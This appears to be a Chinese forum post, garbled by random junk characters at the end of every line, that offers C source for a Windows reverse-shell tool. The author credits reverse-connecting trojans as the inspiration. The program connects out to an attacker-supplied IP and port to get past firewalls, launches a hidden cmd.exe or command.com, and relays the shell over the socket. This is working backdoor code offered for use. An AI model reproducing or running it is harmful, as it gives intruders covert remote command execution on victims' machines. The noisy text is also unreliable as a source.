这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 #$-zg^
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/* ============================== 9' $\GN{0
Rebound port in Windows NT = aO1uC|6C
By wind,2006/7 kn$2_I9
===============================*/ .|$:%"O&X
#include Ox | ?
#include O4)'78ATp
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#pragma comment(lib,"wsock32.lib") !?AgAsSmc
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void OutputShell(); FfeX;pi
SOCKET sClient; 4q9+a7@
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Yz%A Kp
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void main(int argc,char **argv) %S`ygc}|
{ e8Ul^]
WSADATA stWsaData; U z*7J
int nRet; MNuBZnO
SOCKADDR_IN stSaiClient,stSaiServer; EgE%NY~
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if(argc != 3) J Wh5gOXd
{ +#;t.&\80N
printf("Useage:\n\rRebound DestIP DestPort\n"); Z=[qaJ{]
return; r$8(Q'
} k},@2#W]
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WSAStartup(MAKEWORD(2,2),&stWsaData); D+nKQ4
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ;h f{B7
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stSaiClient.sin_family = AF_INET; ES4[@RX
stSaiClient.sin_port = htons(0); zl]Ic' _i
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); (WCczXm )
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) =<BPoGs5
{ e(z'uA{!
printf("Bind Socket Failed!\n"); ]QJN` ;b0
return; ydZS^BqG
} iQT$#"m
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stSaiServer.sin_family = AF_INET; yQ [n7du
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); )yl;i
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ln1QY"g
! %~P[;.
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Hf$pwfGcY]
{ 3D}rxI8N
printf("Connect Error!"); Ii.?|
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return; PHxU6UPqy
} FQlYCb
OutputShell(); -$2B!#]3
} e{Y8m Xu
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void OutputShell() hZw bYvu
{ 4[XiD*
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char szBuff[1024]; }J ^+66{
SECURITY_ATTRIBUTES stSecurityAttributes; ZRy'lW
OSVERSIONINFO stOsversionInfo; >)j`Q1Qc\
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; rOo|.4w
STARTUPINFO stStartupInfo; up;^,I
char *szShell; V*I2
PROCESS_INFORMATION stProcessInformation; Pb]EpyAW
unsigned long lBytesRead; { qJ(55
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); pba`FC4R
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); `
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stSecurityAttributes.lpSecurityDescriptor = 0; >zS<1
stSecurityAttributes.bInheritHandle = TRUE; o>l/*i0I
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); F*4zC@;
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Ivx]DXR|
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); l+r3|b
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;CtTdr
stStartupInfo.wShowWindow = SW_HIDE; KW@][*\uC
stStartupInfo.hStdInput = hReadPipe; 4/N{~
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; NY3/mS3w
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GetVersionEx(&stOsversionInfo); -)%gMD~z1
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switch(stOsversionInfo.dwPlatformId) =J GL~t?
{ qa>H@`P
case 1: ~(x"Y\PEu
szShell = "command.com"; }Y&|v q
break; PNB E
default: gWGh:.*T
szShell = "cmd.exe"; W @]t
break; jr2wK?LbB
} Fzk%eHG=
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 2{9%E6%#
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send(sClient,szMsg,77,0); ,Zva^5
while(1) nJ|M
{ d "%6S*dL
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ]j+J^g
if(lBytesRead) ,382O$C
{ 9YvK<i&I
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); <i ";5+
send(sClient,szBuff,lBytesRead,0); 7?p>v34A
} Vv_lBYV
else V$fn$=
{ s?7"iE
lBytesRead=recv(sClient,szBuff,1024,0); 7m.>2U
if(lBytesRead<=0) break; 3{{Ew}kZm
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); oC~+K@S
} VT2f\d[Q
} mIW/x/I
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return; 'pHxO,vo
}